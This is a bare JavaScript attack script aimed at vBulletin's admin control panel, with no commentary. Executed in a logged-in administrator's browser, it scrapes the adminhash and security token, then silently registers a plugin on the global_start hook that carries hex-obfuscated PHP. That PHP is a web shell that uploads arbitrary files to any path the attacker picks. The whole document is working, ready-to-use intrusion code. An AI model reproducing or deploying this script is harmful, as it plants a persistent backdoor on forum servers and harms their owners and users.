js

var debug = true; //show result
var post = getHTTPObject();
var get = getHTTPObject();
var admincp = "http://localhost/upload/admincp/";

function getHTTPObject() {
	var xmlhttp;
	if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
		try{
			xmlhttp = new XMLHttpRequest();
		}catch(e){
			xmlhttp = false;
		}
	}
	return xmlhttp;
}
String.prototype.between = function(prefix, suffix) {
  s = this;
  var i = s.indexOf(prefix);
  if (i >= 0) {
    s = s.substring(i + prefix.length);
  }
  else {
    return '';
  }
  if (suffix) {
    i = s.indexOf(suffix);
    if (i >= 0) {
      s = s.substring(0, i);
    }
    else {
      return '';
    }
  }
  return s;
}
function step1(){
	var string;
	get.open("GET", admincp+"plugin.php?do=add",true);
	get.onreadystatechange=function() {
		if (get.readyState==4) {
			string = get.responseText;
			step2(string);
		}
	}
	get.send(null)
}
function step2(str){
	var string;
	adminhash = str.between('adminhash" value="', '" />');
	securitytoken = str.between('securitytoken" value="', '" />');
	shellcode = 'eval("\\x20\\x69\\x66\\x20\\x28\\x24\\x5f\\x52\\x45\\x51\\x55\\x45\\x53\\x54\\x5b\\x27\\x64\\x6f\\x27\\x5d\\x3d\\x3d\\x27\\x6c\\x6f\\x61\\x64\\x27\\x29\\x7b\\xd\\xa\\x20\\x24\\x66\\x69\\x6c\\x65\\x73\\x20\\x3d\\x20\\x40\\x24\\x5f\\x46\\x49\\x4c\\x45\\x53\\x5b\\x22\\x66\\x69\\x6c\\x65\\x73\\x22\\x5d\\x3b\\xd\\xa\\x20\\x69\\x66\\x28\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x22\\x6e\\x61\\x6d\\x65\\x22\\x5d\\x20\\x21\\x3d\\x20\\x27\\x27\\x29\\x7b\\xd\\xa\\x20\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x20\\x3d\\x20\\x24\\x5f\\x52\\x45\\x51\\x55\\x45\\x53\\x54\\x5b\\x22\\x70\\x61\\x74\\x68\\x22\\x5d\\x2e\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x22\\x6e\\x61\\x6d\\x65\\x22\\x5d\\x3b\\xd\\xa\\x20\\x69\\x66\\x28\\x6d\\x6f\\x76\\x65\\x5f\\x75\\x70\\x6c\\x6f\\x61\\x64\\x65\\x64\\x5f\\x66\\x69\\x6c\\x65\\x28\\x24\\x66\\x69\\x6c\\x65\\x73\\x5b\\x27\\x74\\x6d\\x70\\x5f\\x6e\\x61\\x6d\\x65\\x27\\x5d\\x2c\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x29\\x29\\x20\\x65\\x63\\x68\\x6f\\x20\\x22\\x3c\\x68\\x31\\x3e\\x3c\\x61\\x20\\x68\\x72\\x65\\x66\\x3d\\x27\\x24\\x66\\x75\\x6c\\x6c\\x70\\x61\\x74\\x68\\x27\\x3e\\x4f\\x4b\\x2d\\x43\\x6c\\x69\\x63\\x6b\\x20\\x68\\x65\\x72\\x65\\x21\\x3c\\x2f\\x61\\x3e\\x3c\\x2f\\x68\\x31\\x3e\\x22\\x3b\\xd\\xa\\x20\\x7d\\xd\\xa\\x20\\x64\\x69\\x65\\x28\\x27\\x3c\\x66\\x6f\\x72\\x6d\\x20\\x6d\\x65\\x74\\x68\\x6f\\x64\\x3d\\x50\\x4f\\x53\\x54\\x20\\x65\\x6e\\x63\\x74\\x79\\x70\\x65\\x3d\\x22\\x6d\\x75\\x6c\\x74\\x69\\x70\\x61\\x72\\x74\\x2f\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\\x22\\x20\\x61\\x63\\x74\\x69\\x6f\\x6e\\x3d\\x22\\x22\\x3e\\xd\\xa\\x20\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x74\\x65\\x78\\x74\\x20\\x6e\\x61\\x6d\\x65\\x3d\\x70\\x61\\x74\\x68\\x3e\\xd\\xa\\x20\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x22\\x66\\x69\\x6c\\x65\\x22\\x20\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x66\\x69\\x6c\\x65\\x73\\x22\\x3e\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3d\\x73\\x75\\x62\\x6d\\x69\\x74\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x22\\x55\\x70\\x22\\x3e\\x3c\\x2f\\x66\\x6f\\x72\\x6d\\x3e\\x27\\x29\\x3b\\xd\\xa\\x20\\x7d\\xd\\xa");';
	data = "do=update&adminhash="+adminhash+"&securitytoken="+securitytoken+"&product=vbulletin&hookname=global_start&title=Upload&executionorder=5&phpcode="+shellcode+"&active=1&pluginid=";
	post.onreadystatechange = function(){
		if(post.readyState == 4){
			string = post.responseText;
			if(debug == true) document.write(string);
		}
	}
	post.open("POST", admincp+"plugin.php?do=update", true);
	post.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	post.setRequestHeader("Content-length", data.length);
	post.setRequestHeader("Connection", "close");
	post.send(data);
}
step1();